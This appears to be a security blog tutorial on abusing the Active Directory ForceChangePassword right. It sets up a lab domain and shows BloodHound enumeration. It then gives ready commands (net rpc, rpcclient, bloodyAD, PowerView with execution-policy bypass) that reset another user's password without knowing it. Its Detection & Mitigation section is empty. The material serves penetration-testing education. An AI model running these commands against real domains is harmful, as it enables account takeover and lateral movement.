Abusing AD-DACL: ForceChangePassword

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In this post, we explore the exploitation of Discretionary Access Control Lists (DACL) using the ForcePasswordChange permission in Active Directory environments. This permission is especially dangerous for privileged accounts, as it enables lateral movement and unauthorized access across systems by impersonating the compromised account.

The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to ForcePasswordChange attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.

Table of Contents

ForceChangePassword Right

Prerequisites

Lab Setup – User Owns ForceChangePassword Rights

Exploitation – User Owns ForceChangePassword Rights

Bloodhound – Hunting for Weak Permission

Method for Exploitation – Change Password (T1110.001)

Linux Net RPC – Samba Linux Net RPC – Rpcclient Linux Net RPC – BloodAD Windows PowerShell – Powerview

Detection & Mitigation

ForceChangePassword Right

This permission provides right to change the password of a user account without knowing their current password.

This abuse can be carried out when controlling an object that has a GenericAllAllExtendedRights or User-Force-Change-Password over the target user.

Prerequisites

Windows Server 2019 as Active Directory Kali Linux Tools: Bloodhound, Net RPC, Powerview, BloodyAD Windows 10/11 – As Client

Lab Setup – User Owns ForceChangePassword Rights

Here, in this lab setup, we will create two users’ Raj and Aarti, and will assign Raj user “Reset Password” rights for Aarti User.

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller: Install Windows Server (2016 or 2019 recommended). Promote it to a Domain Controller by adding the Active Directory Domain Services role. Set up the domain (e.g., ignite.local). User Accounts: Create two AD user accounts named Raj and Aarti. net user raj Password@1 /add /domain net user aarti Password@1 /add /domain

       

Assign the “ForceChangePassword” Privilege to Raj for Aarti User:

Once your AD environment is set up, you need to assign the “ForceChangePassword” rights to Raj for Aarti user.

Steps: Open Active Directory Users and Computers (ADUC) on the Domain Controller. Enable the Advanced Features view by clicking on View > Advanced Features.

                 

                 3. Locate User Aarti in the Users container.

                 4. Right-click on Aarti User and go to Properties.

                   

                 5. Go to the Security tab

                 

                 6. And click on Add button

                 

                 7. In the “Enter the object name to select” box, type Raj and click Check Names.

               

                 8. In the Permissions section, check the box for Reset Password permission.

                 9. Apply the settings.

                 

At this point, Raj now has Reset Password rights for Aarti user, meaning Raj can change the password of Aarti user’s account without knowing their current password

Exploitation

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Raj has the ForceChangePassword rights for Aarti user.

bloodhound-python -u raj -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

Thus, it has shown that Raj User has ForceChangePassword privilege for Aarti user.

Method for Exploitation – Change Password (T1110.001)

The tester can abuse this permission by changing password for Aarti user without knowing their current password.

Linux Net RPC – Samba

It can be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients.

net rpc password aarti 'Password@987' -U ignite.local/raj%'Password@1' -S 192.168.1.8

Linux Net RPC – Rpcclient

The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.

rpcclient -U ignite.local/raj 192.168.1.8 setuserinfo aarti 23 Password@987

Linux Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.8" -d "ignite.local" -u "raj" -p "Password@1" set password "aarti" "Password@987"

Windows PowerShell – Powerview

The attacker can change the password of the user using PowerView module. This can be achieved with Set-DomainUserPassword cmdlet.

powershell -ep bypass Import-Module .\PowerView.ps1 $NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

Detection & Mitigation

Author: Pradnya Pawar is an InfoSec researcher and Security Tech Lead. Contact here

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